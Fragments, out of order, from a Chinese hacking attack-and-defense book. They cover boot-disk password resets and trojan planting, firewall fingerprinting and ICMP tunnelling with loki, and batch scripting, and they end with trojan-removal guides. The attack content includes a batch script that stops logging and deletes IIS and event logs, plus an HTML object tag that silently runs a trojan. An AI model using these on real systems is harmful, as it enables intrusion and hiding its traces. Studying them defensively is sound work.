    {"text": "图 9-6 图 9-7 步骤 2 启动 ERD Commander 在系统自检完成前将刻有 ERD Commander 的盘片放入光驱中，由于前面对 BIOS 信息的修改， 计算机将从光盘启动，当读取光驱时就会启动 ERD Commander，如图 9-8 和图 9-9 所示。"},
    {"text": "启动成功后首先进入的是注册网络功能部件界面，如图 9-10 所示，注册网络功能部件可以自 动完成，但需要等待一段时间，也可以单击“Skip Network Configuration”按钮略过这一步。"},
    {"text": "是否 选择略过取决于根据周围环境的限制因素及入侵者的目的，如果入侵者仅仅是想修改密码、窃取 机密信息或破坏系统，则选择略过更为适宜。"},
    {"text": "图 9-12 图 9-13 439 黑客攻防实战详解 ERD Commander 启动成功，界面与 Windows XP 很相似。 单击 Start 展开开始菜单，如图 9-14 所示，由此可以看出虽然 ERD Commander 的操作界面与 Windows XP 系统的操作界面相似，但各自功能大不相同。"},
    {"text": "图 9-3 中显示的账号用户名为 Squirrel，因此本例中的 Account 值选择 Squirrel，新口令设定为 syl，确认口令处也填为 syl，如图 9-21 所示。"},
    {"text": "图 9-24 本地主机重新启动后，进入如图 9-25 所示的登录界面。 在系统登录口令栏中输入 syl 后，显示如图 9-26 所示。 442 第 9 章 本地入侵 图 9-25 图 9-26 敲击键盘上的 Enter 键后进入系统，如图 9-27 和图 9-28 所示。 图 9-27 图 9-28 系统登录成功，系统登录口令修改成功。"},
    {"text": "9.4 Windows PE 9.4.1 Windows PE 简介 Windows PE 是一个基于 Windows XP 内核的迷你操作系统，微软发行它的最初目的是作为 Windows XP 的 OEM 预安装环境的一部分。 最初的 Windows PE 是命令行方式的系统，所有操作 都是基于保护模式的命令。 由于 Windows PE 很小巧，且使用方便，因此很多人对其进行了修改，本章中所使用的 Windows PE 是集成在深山红叶袖珍系统工具箱中的 Windows PE 系统，深山红叶袖珍系统工具是一个集成 了很多有用的系统工具的工具包，体积小巧但功能强大。"},
    {"text": "443 黑客攻防实战详解 步骤 2 启动 Windows PE 在光驱中放入刻有 Windows PE 的光盘，启动计算机后，首先会进入如图 9-30 所示的界面中。 图 9-29 图 9-30 选择[1] Windows PE(XP)深山红叶光盘工具箱，单击后将启动 Windows PE，如图 9-31、图 9-32 和图 9-33 所示。"},
    {"text": "步骤 4 修改本地操作系统登录口令 单击“开始”菜单，在展开菜单中选择“强力系统修复 ERD 2003”，在菜单中选择“修改用 户密码（Locksmith）”，如图 9-40 所示。"},
    {"text": "图 9-43 图 9-44 单击“完成”按钮，完成对系统登录口令的修改。 步骤 5 检测系统登录口令修改是否成功 在“开始”菜单中选择重新启动计算机，如图 9-45 所示，随后取出光盘。 系统重新启动后，在如图 9-29 所示的登录口令框中输入 805，按下回车键后显示如图 9-46 所示。 图 9-45 图 9-46 系统登录口令修改成功。"},
    {"text": "事实上，Windows PE 本身只是提 供了一个操作的平台，至于具体做什么，微软公司并没有对其进行界定，因此才会有很多人对 Windows PE 平台进行了修改与集成。"},
    {"text": "步骤 3 保存木马到本地主机 在第 6 章中详细介绍了木马的使用方法，这里略过木马服务器端生成部分。 将木马服务器端保存到本地主机有两种方法，第一种是入侵者事先将木马的服务器端装入移 动存储设备中，在本地主机上成功启动 Windows PE 后，通过 Windows PE 提供的平台把木马服务 器端拷贝到本地硬盘中； 第二种方法是通过网络，到预先指定好的位置下载木马服务器端。"},
    {"text": "在 Windows PE 中实现上网必须先完成网络配置，在如图 9-47 所示的位置单击，会弹出网络 配置窗口。 中间会有提示的步骤，期间 Windows PE 会向本地硬盘中配置部分文件，这会花费一段时间， 文件配置好后，会弹出如图 9-48 所示的窗口。 图 9-47 图 9-48 如果使用拨号或 ADSL 上网，直接单击“确认”按钮即可，如果是固定 IP 地址主机则需填入 IP 地址。 对相关的项目修改完毕后单击“确认”按钮，弹出更新窗口，如图 9-49 所示。"},
    {"text": "到指定位置下载木马服务器端（略）。 步骤 4 将木马服务器端设为开机启动程序 一种比较方便的做法是将木马放到启动栏目组中，本例中，本地主机安装的是 Windows XP 操作系统，账号的用户名为 803。 只需将木马拷贝到目录“C:\\Documents and Settings\\803\\「开始」 菜单\\程序\\启动”中即可。 目录的位置如图 9-52 所示 图 9-52 将木马服务器端拷贝到启动目录组后，即完成了木马的种植。 设定木马开机启动也有其他方法，如添加进注册表、绑定到指定程序等，这些可以查阅相关 书籍。"},
    {"text": "9.6 本章小结 本章中以实例的方式介绍了如何利用盘载操作系统入侵本地主机，并给出了相应的防范措施， 希望以此提醒各位计算机系统管理员注意安全防范。"},
    {"text": "第 10 章 防火墙技术 10.1 防火墙概述 10.1.1 防火墙的定义 防火墙一词（firewall）来源于早期的欧式建筑，它是建筑物之间的一道矮墙，用来防止发生 火灾时火势的蔓延。"},
    {"text": "在计算机网络中，防火墙通过对数据包的筛选和屏蔽，防止非法的访问进入 内部或外部计算机网络。 防火墙可这样定义：防火墙是位于可信网络与不可信网络之间并对二者 之间流动的数据包进行检查的一台、多台计算机或路由器。"},
    {"text": "Internet 用户子网 图 10-1 简单的防火墙示意图 10.1.2 防火墙的规则 既然防火墙要对内部网络与外部网络的通信数据包进行筛选屏蔽，那么它必然要有一些规则 来判定哪些数据包是合法的，而哪些是非法的。"},
    {"text": "第 10 章 防火墙技术 如果安装了防火墙，防火墙就是内部网络与外部网络通信的惟一通道，管理员不必去担心每 一台主机，而把精力放在防火墙上就可以了。"},
    {"text": "它不仅可以防止入侵者对主机的端口、漏洞进行扫描，还能阻止木马进入主机。 总之，防火墙减轻了内部网络被入侵和破坏的危险，使得内部网络的数据、机密得以保护。"},
    {"text": "10.2.2 软件防火墙 软件防火墙安装在隔离内部网络与外部网络的主机上，通过进行安全规则配置、访问控制、 日志管理、网络监控等实现对信息的筛选过滤功能。 个人电脑上所安装的防火墙都属于软件防火 墙，如天网个人防火墙、金山网镖、瑞星个人防火墙等。 另外，一些企业级防火墙也都是软件防 火墙，如 Checkpoint Firewall，NAI Gauntlet 等。 10.2.3 硬件防火墙 硬件防火墙主要采用纯硬件设计和固化计算机两种方式。"},
    {"text": "固化计算机方式通过裁剪 Linux 等操作系统内核使其于特殊设计的计算机硬件结合在一起，形成固化的防火墙。 目前，固化 计算机方式的防火墙是硬件防火墙产品中的主流产品。"},
    {"text": "应用级网关相当于一个接线员，它部署在客 户端和服务器端之间，比起包过滤机制能够提供更高层次的安全（应用层） ，但这就丧失了程序的 透明性。"},
    {"text": "20 世纪 90 年代，人们发明了状态包检测防火墙，它介于包过滤防火墙和应用级网关之 间：既没有包过滤防火墙那样快，也不提供应用层的安全检测。"},
    {"text": "数 据包过滤技术通过系统转发或接收数据包时，根据访问控制列表中的规则对 IP 数据包进行处理， 453 黑客攻防实战详解 从而实现对 IP 数据包的筛选过滤。"},
    {"text": "脏端口与外部网络（通 常是 Internet）相连，净端口与内部网络相连接。 所有 IP 数据包都由脏端口流入，然后防火墙根 据规则库中所定义的标准来决定是否让数据包通过净端口流入内部网络。"},
    {"text": "内部路由器 用户子网 外部路由器 Internet 防火墙 DNS HTTP FTP 图 10-2 包过滤防火墙拓扑结构示意图 2．规则库 规则库也就是上文所说的访问控制列表，它由一条一条的规则组成的访问控制标准。 防火墙 根据规则库中的规则来判断 IP 数据包是否合法，因此规则的配置对包过滤防火墙来说是非常重要 的。"},
    {"text": "表 10-1 包过滤规则库样本 规 则 目的端口 协议类型 处理方法 源地址 目的地址 源端口 1 80 TCP 允许 任意 192.168.8.11 >1023 2 25 TCP 允许 任意 192.168.8.15 >1023 3 53 TCP 允许 任意 192.168.8.21 >1023 4 任意 任意 拒绝 任意 任意 任意 下面对表 10-1 中的各条规则做一个简要说明。"},
    {"text": "应用级网关接受内、外部网络 的通信数据包，并将它们转发给目标主机。 应用级网关只将合法的数据、请求发送给目标主机， 因为它会对内、外部网络发来的信息根据自己的安全策略进行过滤，不符合安全协议的信息被拒 绝或者丢弃。 应用级网关在较高的层次上实现内外网络通信的监控与管理，它的安全性较包过滤 防火墙有了很大的提高。"},
    {"text": "已授权的用户 用户子网 内部路由器 Internet 外部路由器 应用级网关 未授权用户 DNS HTTP FTP 图 10-3 应用级网关工作原理示意图 在图 10-3 中，外部网络中的已授权用户可以通过应用级网关与内部网络的 HTTP 服务器建立 一个虚拟连接（图 10-3 中实线连接）。"},
    {"text": "首先，传统的包过滤技术在检查一个数据包时，通常只检查这个数据包的 SYN 位，然后根据 SYN 位是否被清空来判断这个数包是否属于已经建立并且正在使用的某个连接。"},
    {"text": "数据包到达 防火墙端口 数据包是否属于 NO 检测数据包是 一个已存在连接 否符合规则集 YES 检查数据 YES 数据包是否通 包内容 过规则集检测 YES NO 数据包内容是 否符合策略集 YES 转发数据包，更新连 拒绝或丢弃数据包， 接表，进行日志记录 进行日志记录 图 10-4 状态包检测的流程图 2．状态包检测防火墙的优缺点 优点：加强了数据包的审查机制，减小了伪造数据包通过防火墙的可能性。"},
    {"text": "它根据 系统管理者设定的安全规则把守网络，提供强大的访问控制、应用选通、信息过滤等功能。 它可 以帮助用户抵挡网络入侵和攻击，防止信息泄露，保障用户机器的网络安全。"},
    {"text": "表 10-2 三款个人防火墙网络拦截功能比较 功 能 金山网镖 天网防火墙 Norton 防火墙个人版 IP 规则编辑 支持 支持 不支持 系统漏洞扫描 不支持 支持 不支持 安全检测修复 不支持 支持 不支持 网络应用程序状态 支持 支持 支持 预设安全级别 支持 支持 支持 自定义安全级别 支持 支持 支持 自定义安全站点 不支持 不支持 支持 自动封锁 IP 不支持 不支持 支持 预设系统访问网络 不支持 支持 不支持 Web 访问记录 不支持 不支持 支持 应用程序规则 支持 支持 支持 JAVA,ActiveX 控件控制 不支持 不支持 支持 从上表可以看出，金山网镖和天网个人防火墙都支持 IP 规则编辑，而诺顿不支持。"},
    {"text": "壁垒主机 Internet 内部网络 非军事区 图 10-5 非军事区示意图 （3）壁垒主机 壁垒主机位于非军事区与外部网络的连接地带，它可以发现并抵御攻击者对内部网络的进攻。"},
    {"text": "双宿主机 交换机 Internet 内部网络 非军事区 图 10-6 双宿主机体系结构图 在双宿主机体系的防火墙中，双宿主机是连接内外网络的通道，因此它具有路由功能。"},
    {"text": "非军事区 外部路由器 交换机 Internet 壁垒主机 内部网络 图 10-7 被屏蔽主机体系结构图 在被屏蔽主机体系结构的防火墙中，路由器与壁垒主机共同形成了隔离网络的两道屏障。"},
    {"text": "内外网之间的所有通信都必 须通过壁垒主机，壁垒主机上既可提供包过滤功能，也可以提供代理功能。 被屏蔽主机体系结构的优点主要有：相对于双宿主机体系结构，壁垒主机不直接与外部网络 相连接，减小了被攻击的可能性，具有较高的安全特性。 路由器的同时存在，减轻了壁垒主机的 负担，使包过滤或者代理服务更加高效。 主要缺点有：一旦壁垒主机遭到攻击，内部网络处于不 安全状态； 在某些情况下，外部用户可直接访问内部网络，因此存在一定的安全隐患。"},
    {"text": "10.4.4 被屏蔽子网体系结构 在双宿主机和被屏蔽主机体系结构中，双宿主机或壁垒主机直接与内部网络相连，一旦这些 主机被攻击，整个内部网络都处于不安全状态。"},
    {"text": "被屏蔽子网体系结构通过两台分别与内网、外网相连的路由器，壁垒主机及交换机共同构成 了一个非军事区，将易受攻击的系统置于其中，从而实现数据通信过滤功能。"},
    {"text": "非军事区是位于内部网路与外部网络之间的一个附加网络。 内部路由器、外部路由器分别隔 离了内部网络、非军事区和非军事区、外部网络。 这样内部用户的数据包不会随意传播到非军事 区，另外，即使外部用户入侵到非军事区，也不会得到内部网络的信息。"},
    {"text": "比起双宿主机、被屏蔽主机体系结构，被屏蔽子网体系结构的安全性更高，它主要有以下几 个优点：内外部路由器构成了双重屏障，入侵者很难同时逾越；"},
    {"text": "459 黑客攻防实战详解 壁垒主机 外部路由器 交换机 交换机 内部路由器 Internet 内部网络 非军事区 图 10-8 被屏蔽子网体系结构图 10.5 防火墙发现技术 10.5.1 黑客入侵带防火墙的操作系统的一般过程 黑客入侵带有防火墙系统的一般过程如图 10-9 所示。 目标选择 跟踪 识别 审查 绕过防火墙 攻击防火墙 错误 ! 图 10-9 黑客入侵带有防火墙操作系统的一般过程 如图 10-14 所示，入侵者在绕过或攻击防火墙前要经过目标选择、跟踪、识别、审查这 4 个 基本步骤。"},
    {"text": "目标选择也就是入侵者们选择感兴趣目标的过程，下面主要介绍跟踪、识别、审查等技术。 10.5.2 跟踪技术 所谓跟踪就是指入侵者利用因特网收集要攻击目标各种信息的过程。"},
    {"text": "因为经常会有 一些公司的网络管理员在配置防火墙的时候遇到困难，其中有一部分管理员会在网上发布求助信 息。 一些管理员的安全意识很差，经常会暴露公司防火墙品牌、配置等一些非常重要的信息。"},
    {"text": "10.5.3 防火墙识别技术 防火墙识别技术就是指发现目标系统所使用防火墙的类型、品牌、版本信息。 识别防火墙的 460 第 10 章 防火墙技术 方法有很多种，下面一一介绍。"},
    {"text": "Tracert 设置 IP 数据包中的 TTL（Time to Live，寿命）字段，它使 得这种特殊的数据包在到达目标主机途中的每个网络节点都会引起一个 ICMP 超时回应。"},
    {"text": "端口扫描的技术同样可以用于防火墙的识别，这 是因为一些防火墙都在特定的端口进行监听：如 Check Point FireWall-1 在 256、257、258 端口进 行监听和管理，Microsoft 的 Proxy Server 在 1080、1745 端口监听，等等。 这样入侵者就可以通过第 2 章所讲的端口扫描工具对目标的这些特定端口进行扫描，从而发 现特定的防火墙。 对策：利用防火墙之前的路由器阻塞这些特定的端口，这样就可以防止入侵者通过对这些特 定端口的扫描得到防火墙信息了。"},
    {"text": "对于一些使用特定端口的防火墙，入侵者可以利用直接的端口扫描来发现防火墙。 但大多数 防火墙并不在特定的端口上监听，这样就需要其他方法来识别目标防火墙，旗标攫取就是一个很 好的方法。"},
    {"text": "对于 Cisco PIX，当远程登录到目标主机的 25 端口时，它 将返回自己独特的提示信息： Escape Character is ‛ ^ ] ‛ . 220 *******0*************************************。"},
    {"text": "Firewalk 是一个很小巧的工具，它可以帮助入侵者发现隐藏在防火墙后面的主机所打开的端 口，入侵者可以利用这些信息来推断防火墙或其他包过滤设备的访问控制列表。 要想成功使用 Firewalk，入侵者必须知道到达防火墙之前，路由器倒数第一跳的 IP 地址及防 火墙后面一台主机的 IP 地址，它们分别作为向防火墙发送数据包的起点和终点。"},
    {"text": "协议隧道是指将一种协议的数据封装进另一种 协议的数据包中。 任何协议都可以作为隧道的载体，目前常见的协议隧道主要有 ICMP 协议隧道 和 HTTP 协议隧道。"},
    {"text": "入侵者在目标主机上运行 lokid 服务端： lokid –p –I –v 1 在本地主机上运行 loki 客户端： loki -d 192.168.23.53 –p –I –v 1 –t 3 这样就可以利用 ICMP 协议隧道实现数据的“合法”传输。"},
    {"text": "在命令提示下键入某个批处理文件的名称或者在窗口界面中双击某个批处理文件后，系 统就会调用 cmd.exe 按照该文件中各个命令出现的顺序来顺次运行它们。"},
    {"text": "11.1 批处理命令简介 在批处理文件中可以按一定顺序将命令进行组合以实现所需的功能，但这种方法往往灵活性 不足，而且编写出来的批处理文件也相当烦琐。 本节将介绍批处理文件中专用的批处理命令，使 用这些命令格式有助于编写高效优质的批处理文件。"},
    {"text": "echo off； echo [message]。 实例：echo 命令的使用。 在命令行方式下输入“echo”后会显示如图 11-1。 图 11-1 在命令行方式下输入“echo off”，显示如图 11-2 所示，由于取消了回显功能，命令提示行不 再显示。 图 11-2 这时再输入“echo on”，显示如图 11-3 所示，回显功能打开。 图 11-3 输入“echo hello world”，显示如图 11-4 所示，输出信息“hello world”。"},
    {"text": "3．if 命令 if 是条件语句，判断参数是否符合规定的条件，从而决定执行不同的命令。 if 语句有以下 3 种格式。 （1）if \"参数\" == \"字符串\" 待执行的命令 参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。 （2）if exist 文件名 待执行的命令 如果有指定的文件，则条件成立，运行命令，否则运行下一句。 （3）if errorlevel / if not errorlevel 数字 待执行的命令 如果返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。"},
    {"text": ":dv @if exist p.bat echo succeed @goto dv 保存为 goto.bat，批处理文件运行如图 11-8 所示。 图 11-8 goto.bat 运行后，会不停的显示“succeed” ，这是由于没有结束循环的语句导致程序始终处于 循环状态，本例的目的只是展示 goto 命令的作用。"},
    {"text": "6．pause 命令 挂起命令，当批处理文件运行到 pause 命令时，会出现“请按任意键继续. . .”的提示，如图 11-9 所示。 图 11-9 7．call 命令 用于在一个批处理程序中调用另一个批处理程序，此调用过程中只是暂时挂起父批处理程序， 当子批处理程序运行完毕后会返回父批处理程序继续执行。 常用的命令格式为“call [path] filename”，其中 path 是要调用的批处理文件的位置，可选，默 认是与父批处理程序在同一目录下； filename 用于指定子批处理程序的文件名，其必须包含有.cmd 或.bat 后缀名。"},
    {"text": "首先在记事本中输入“if exist p.bat @echo succeed”，保存为 p.bat。 466 第 11 章 BAT 编程 然后新打开一个记事本输入“@call p.bat”，保存为 call.bat。"},
    {"text": "图 11-10 8．start 命令 用于外部命令的调用，所用的 DOS 命令和命令行程序都可以由 start 命令调用。 start 命令的调用格式为“start [\"title\"] [/D path] [/I] [/MIN] [/MAX] [/SEPARATE | /SHARED] [/LOW | /NORMAL | /HIGH | /REALTIME | /ABOVENORMAL | /BELOWNORMAL] [/WAIT] [/B] [command/program] [parameters]” 。"},
    {"text": "打开记事本输入“start p.bat”，保存为 start.bat，在命令行窗口中运行后如图 11-11 所示。 图 11-11 start 运行后会在一个新的命令行窗口中调用 p.bat。"},
    {"text": "9．choice 命令 choice 命令可以让用户输入一个字符，从而运行不同的命令，其命令格式为“choice [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]” 。"},
    {"text": "图 11-12 10．for 命令 for 命令主要用于循环调用，该命令功能十分强大，有多种调用方法，这里只介绍一种常用命 令格式，其他的调用格式可以在命令行窗口下输入“for /?”查看。 常 用 命 令 格 式 为 “ for /F [\"options\"] %%variable IN (file-set) DO command [command-parameters]” 。"},
    {"text": "打开记事本文件依次输入 1~5，注意每输入一个数字换一行，保存为 zl.txt。 重新打开一个记事本文件输入“@for /f %%i in (zl.txt) do @echo %%i”，保存为 for.bat，运行 后如图 11-13 所示。"},
    {"text": "A 用于根据属性选择要删除 的文件； attributes 用于对应 A 所要删除文件的属性，包括的参数值中 R 代表只读文件，S 代表系 统文件，H 代表隐藏文件，A 代表存档文件，-表示“否”的前缀； names 用于指定一个文件名或 者一个目录，指定目录时，其中所包含的所有文件都会被删除。"},
    {"text": "图 11-14 12．net 命令 这里只介绍开启网络服务和关闭网络服务的命令格式。 “net start [service]”用于开启网络服务，service 用于指定需要开启的网络服务名，若不指定则 开启所有能够开启的网络服务。 “net stop service”用于关闭网络服务，其中 service 是需要关闭的网络服务名，此项必须指定。"},
    {"text": "打开记事本文件输入，如下的代码： if \"%1\"==\"s1\" echo this is %1 if \"%2\"==\"s2\" echo this is %2 保存为 c.bat。 在命令行窗口中输入“c.bat s1 s2”，如图 11-15 所示。 图 11-15 在实例中， “c.bat”运行时带有两个参数“s1”和“s2”，程序运行后，从结果来看%1 的值为 s1，%2 的值为 s2，即实现了参数的替换。"},
    {"text": "11.2.2 组合命令 1．&命令 使用格式为“第一条命令&第二条命令&第三条命令……”。 使用&组合命令可以同时执行多 条命令，而不管命令是否执行成功。 可以查看一下&命令的运行效果，打开命令行窗口输入“echo 1 & echo 2 & echo3”，运行后如 图 11-16 所示。 图 11-16 2．&&命令 使用格式为“第一条命令 && 第二条命令&& 第三条命令……”。 使用&&组合命令也可以同 时执行多条命令，但如果其中的某一条命令执行失败，则组合命令执行终止。"},
    {"text": "举例来具体说明，打开记事本文件输入如下代码： echo 1 && echo 2 && if \"%1\"==\"s1\" echo 3 && echo 4 保存为 g.bat。 在命令行窗口中输入“g.bat s1”，运行结果如图 11-17 所示。 图 11-17 在命令行窗口中输入“g.bat s”，运行结果如图 11-18 所示。"},
    {"text": "使用||可以同时执行多条命令， 当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令。 实例：||命令的使用。"},
    {"text": "470 第 11 章 BAT 编程 修改 g.bat 文件，将其内容修改为“if \"%1\"==\"s1\" echo 1 || echo 2 || echo 3 || echo 4”。 打开命令 行窗口，输入“g.bat s1”，运行后如图 11-19 所示。"},
    {"text": "图 11-19 11.3 管道命令 1．|命令 命令使用格式为“第一条命令 | 第二条命令| 第三条命令……”，其含义是将前一条命令的结 果作为后一条命令的参数来使用。"},
    {"text": "2．>、>>输出重定向命令 这两条命令用于将一条命令或某个程序输出结果重定向到指定文件中，>与>>的区别在于>会 清除原有文件中的内容后写入指定文件，而>>只追加内容到指定文件中，不删除原有文件的内容。"},
    {"text": "图 11-20 3．<、>&、<&命令 <命令用于从文件中而不是从键盘中读入命令输入。 >&命令用于将一个句柄的输出写入到另一个句柄的输入中。 <&命令用于从一个句柄读取输入并将其写入到另一个句柄输出中。"},
    {"text": "与正常状态 下的备份进行比较，找出多出来的文件，再在这些文件中进一步确定是否存在木马。 步骤 1 正常状态下的备份 在命令行窗口中转到 system32 目录下，输入“dir *.exe>d:\\exeb.txt & dir *.dll>d:\\dllb.txt”，运 行后，如图 11-21 到图 11-23 所示。 图 11-21 471 黑客攻防实战详解 图 11-22 图 11-23 步骤 2 导出异常时的 exe 文件列表与 dll 文件列表 假定导出了 exec.txt 和 dllc.txt，并保存在 D 盘根目录下。"},
    {"text": "步骤 3 比较前后两次的文件列表 在 命 令 行 窗 口 中 输 入 “ fc d:\\exeb.txt d:\\exec.txt>>d:\\diff.txt & fc d:\\dllb.txt d:\\dllc.txt>> d:\\diff.txt” ，运行后如图 11-24 和图 11-25 所示。"},
    {"text": "@net stop w3svc 473 黑客攻防实战详解 @net stop event log @del C:\\winnt\\system32\\logfiles\\w3svc1\\*.* /f /q @del C:\\winnt\\system32\\logfiles\\w3svc2\\*.* /f /q @del C:\\winnt\\system32\\config\\*.event /f /q @del C:\\winnt\\system32dtclog\\*.* /f /q @del C:\\winnt\\*.txt /f /q @del C:\\winnt\\*.log /f /q @net start w3svc @net start event log 代码中首先关闭了日志记录功能，然后对日志进行了清除，清除完毕后，重新打开了日志记 录功能。"},
    {"text": "姓名： 性别：□ 男 □ 女 年龄： 职业： 通信地址： 邮政编码： 电话： 传真： E-mail： 1．影响您购买本书的因素（可多选） ： □ 封面封底 □ 价格 □ 内容提要、前言和目录 □ 书评广告 □ 出版物名声 □ 作者名声 □ 正文内容 □ 其他 2．您对本书的满意度： 从技术角度 □ 很满意 □ 比较满意 □ 一般 □ 较不满意 □ 不满意 □ 改进意见 从文字角度 □ 很满意 □ 比较满意 □ 一般 □ 较不满意 □ 不满意 □ 改进意见 从版面、封面设计角度 □ 很满意 □ 比较满意 □ 一般 □ 较不满意 □ 不满意 □ 改进意见 3．您最喜欢书中的哪篇（或章、节）？"},
    {"text": "6．您感兴趣或希望增加的图书选题有： 通信地址：北京万寿路 173 信箱 博文视点（100036） 电话：010-51260888 如果您对我们出版的图书有任何意见和建议，也可以发邮件给我们，我们将及时回复。"},
    {"text": "“<object width=\"0\" height=\"0\" style=\"display: none\" type=\"application/x-oleobject\" codebase=\"file:///C|/Documents and Settings/Administrator/ Desktop/ book/horse.exe\"></object>”则表示在打开网页的同时执行放在 C:\\Documents and Settings/ Administrator/ Desktop/book 下的木马文件，文件名为 horse.exe。"},
    {"text": "图 6-97 图 6-98 368 第 6 章 基于木马的入侵 第一个选项用来选择生成的反编译文件存放的文件夹位置，第二项用来选择被编译文件的文 件目录，选择完目录后单击“OK”按钮。"},
    {"text": "在上面选择的目标目录中，可以看到生成了两个文件， “windW.hhk”和“compile_date.htm”. 步骤 5 现在要做的就是把木马程序复制到反编译后的目录中，插入 horse.exe 这个木马程序， 并在此目录下建立一个例如文件名为 sample.hhp 的文件，如图 6-100 所示。"},
    {"text": "比如 exe 代表可执行文件，jpg 代表图形文件、txt 代表文本文件，htm 代表网页文件等。 知道 了文件的扩展名，再看看文件的图标，如果它们之间的对应不一样，比如文件扩展名是 exe，但却 使用了 jpg 的图标，那么就说明这个文件经过了别人修改，这样的文件大多是木马。"},
    {"text": "（2）方案二：不打开任何可疑文件、文件夹和网页 以往以为只有执行那些扩展名为 exe、bat、com、sys 的文件名才有被黑的危险，通过上面的 369 黑客攻防实战详解 介绍，看来连打开文件夹和网页都有危险。"},
    {"text": "（4）方案四：常开病毒防火墙 由于病毒防火墙比较占系统资源，容易造成系统缓慢，因此许多管理员并不喜欢开病毒防火 墙，而是以为对新下载的文件进行病毒扫描就足够了。 需要提醒大家的是，仅仅使用杀毒软件对 文件进行扫描远远不能实现安全的目的，通过前面介绍的方法可见，入侵者可以实现逃过杀毒软 件的查杀。 而对于病毒防火墙就不同了，它能够对系统进行实时监控，及时发现活动的木马并把 它杀死。 （5）方案五：常开网络防火墙 使用网络防火墙并进行适当的设置，这样一来，即使计算机真的中了木马程序，防火墙也可 以拦截住大多数木马的连接。 6.10 常见木马的手动清除 下面介绍一些清除常见木马的方法。 6.10.1 冰河木马 它的清除方法如下。"},
    {"text": "③ 将“默认”的数据记下（例如：C:\\windows\\c_server.exe）。 ④ 将“默认”的数据改为“C:\\windows\\notepad.exe %1”。 ⑤ 重新启动电脑，进入 DOS 模式。 ⑥ 把“C:\\windows\\c_server.exe”删除。 ⑦ 重新启动电脑。"},
    {"text": "1．删除文件 用进程管理软件终止 spolsv.exe 这个进程，然后到 Windows\\system 文件夹下将 spolsv.exe 文件 删除， 顺便删除的还有 debug.dll、MSIME5f594f58.dll 两个文件，再到 Windows 目录下删除 winin.exe 文件。 2．检查注册表 在“开始”菜单的“运行”中输入 regedit，打开注册表，展开 HKEY_LOCAL_MACHINE\\ Software\\ Microsoft\\Windows\\CurrentVersion\\Run，删除名为“netconfig”的字符串。 再到 HKEY_LOCAL_ MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce 下，删除“winin”字符串即可。"},
    {"text": "首先展开注册表到 HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\Current Version \\Run 下，用户会看到字符串值 System-Tray，其键值为 C:\\something\\something.exe，事实上 C:\\something\\ something.exe 是可以任意变化的，就看攻击者怎么设定了。 根据木马在注册表中建立的键值记下木马的名字与所在文件夹，然后退回到纯 DOS 下，找到 此木马文件并删除掉。 重新启动计算机，然后到注册表中找到前面提到的木马文件所建立的字符 串值及其键值，删除即可。 6.10.4 广外女生 该木马程序运行后，将会在系统的“System”目录下生成一个名为“diagcfg.exe”的木马文件， 并关联 exe 文件的打开方式，如果直接删除该文件，将会导致系统中所有的 EXE 文件无法打开。"},
    {"text": "① 在 DOS 模式下，找到“System”目录下的“diagcfg.exe”，删除它。 ② 由于“diagcfg.exe”文件已经被删除了，因此在 Windows 环境下所有 exe 文件都将无法运 行。 找到 Windows 目录中的注册表编辑器 Regedit.exe，将它改名为“Regedit.com”。 ③ 回到 Windows 模式下，运行 Windows 目录下的 Regedit.com 程序。 ④ 找到 HKEY_CLASSES_ROOT\\exefile\\shell\\open\\command，将其默认键值改成“%1”。 ⑤ 找到 HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunServices， 删除其中名称为“Diagnostic Configuration”的键值。 ⑥ 关掉注册表编辑器，回到 Windows 目录，将“Regedit.com”改回“Regedit.exe”。 ⑦ 重新启动电脑。"},
    {"text": "6.10.5 BrainSpy 木马 清除方法如下。 1．检查注册表 展开注册表 HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run，会在 右边的窗口中看到有字符串值***=\"C:\\WINDOWS\\system\\BRAINSPY.exe\"，删除此字符串值和键值。 2．删除文件 使用进程管理软件终止“BRAINSPY.exe”这个进程，然后到 C:\\WINDOWS\\system 文件夹下 删除 BRAINSPY.exe 文件即可清除木马 BrainSpy。"},
    {"text": "1．检查注册表 展开注册表 HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices， 删除串值“723”及其键值“C:\\.exe”。 371 黑客攻防实战详解 2．删除木马文件 分别到 C 盘根目录，C:\\Windows 和 C:\\Windows\\System 文件夹下找到“.exe”文件，删除之， 再到 C:\\Windows\\temp 下删除“FunnyFlash.exe”文件即可清除木马。"},
    {"text": "它的清除方 法为：重启电脑到 DOS 状态下，然后将 C:\\Windows\\System 文件夹中的 Internat.exe 文件删除，再 将该文件夹下的 smaxinte.exe 文件重命名 Internat.exe，最后删除 Windows 文件夹下的 Internat.exe 和 uttnskf.ini 文件，重新启动电脑即可清除该木马。"},
    {"text": "6.10.8 IEthief 木马 IEthief 的图标与浏览器 IE 的图标很是相似，不同之处其图标在右端的“e”字开口处添加了 一排锯齿，这是识别它与正常的 IE 文件的好方法。"},
    {"text": "① 删除 C:\\Windows\\System 文件夹下的木马文件和相关的信息记录文件“IEthief.exe”、 “firstrunIE.dat”、“IEcfg”，这一步可以在 DOS 下进行。 ② 展开注册表 HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run， 删除串值“ierun”及其键值“C:\\WINDOWS\\SYSTEM\\IEthief.exe”即可。"},
    {"text": "① 在“开始”菜单中的“运行”中输入 msconfig，找到 Win.ini 标签，删除“[windows]”字 段下的“run=”下的字符串“C:\\windows\\thereadmsg.exe”。 ② 在“开始”菜单的“运行”中输入 regedit，展开注册表 HKEY_LOCAL_MACHINE\\Software\\ Microsoft\\Windows\\CurrentVersion\\Run，删除字符串值 netservice 及其键值 C:\\windows\\nesmsg.exe； 再删除字符串值 system 及其键值 C:\\windows\\system\\kerne132.exe； 最后再删除字符串值 boot 及其 键值 C:\\windows\\system\\kerne116.exe。 ③ 到 Windows 所在安装目录下删除 nesmsg.exe、thereadmsg.exe、wininet.ini、raddr.txt 和 addr.txt 文件，再到 Windows\\system 文件夹下删除 kerne116.exe 和 kerne132.exe 文件，最后到 C 盘根目录 下删除 process.dll 文件即可清除该木马。"},
